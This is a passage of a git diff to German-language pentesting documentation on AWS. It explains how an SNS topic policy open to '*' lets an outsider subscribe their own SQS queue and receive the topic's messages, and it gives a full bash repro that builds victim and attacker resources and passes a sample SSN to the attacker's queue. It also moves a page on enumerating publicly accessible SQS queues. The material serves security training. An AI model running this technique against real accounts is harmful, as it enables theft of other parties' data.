+Das wäre äquivalent zu einer SNS-Topic-Resource-Policy, die `sns:Subscribe` an `*` (oder an externe Accounts) erlaubt: jeder Principal kann ein Subscription erstellen, das alle zukünftigen Topic-Nachrichten an eine SQS-Queue liefert, die er besitzt. Wenn der Queue-Besitzer die Subscription initiiert, ist keine menschliche Bestätigung für SQS-Endpunkte erforderlich.
+
+<details>
+<summary>Repro (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Victim account (topic owner)
+VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)
+
+# Open the topic to anyone subscribing
+cat > /tmp/topic-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
+JSON
+aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json
+
+# Attacker account (queue owner)
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Allow the victim topic to send to the attacker queue
+cat > /tmp/sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
+JSON
+aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"
+
+# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)
+
+# Validation: publish and receive
+aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
deleted file mode 100644
index 74b31583e..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SQS Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Für weitere Informationen zu SQS siehe:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Öffentliches URL-Template
-```
-https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
-```
-### Berechtigungen überprüfen
-
-Es ist möglich, eine SQS-Warteschlangenrichtlinie falsch zu konfigurieren und Berechtigungen für alle in AWS zu gewähren, um Nachrichten zu senden und zu empfangen. Wenn Sie die ARN von Warteschlangen erhalten, versuchen Sie, ob Sie auf sie zugreifen können.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..27f4a60af
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
@@ -0,0 +1,21 @@
+# AWS - SQS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Für weitere Informationen zu SQS siehe:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Öffentliche URL-Vorlage
+```
+https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
+```
+### Berechtigungen prüfen
+
+Es ist möglich, eine SQS-Queue-Richtlinie falsch zu konfigurieren und damit allen in AWS die Berechtigung zu geben, Nachrichten zu senden und zu empfangen. Wenn du also die ARN von Queues erhältst, prüfe, ob du auf diese zugreifen kannst.
+
+{{#include ../../../../banners/hacktricks-training.md}}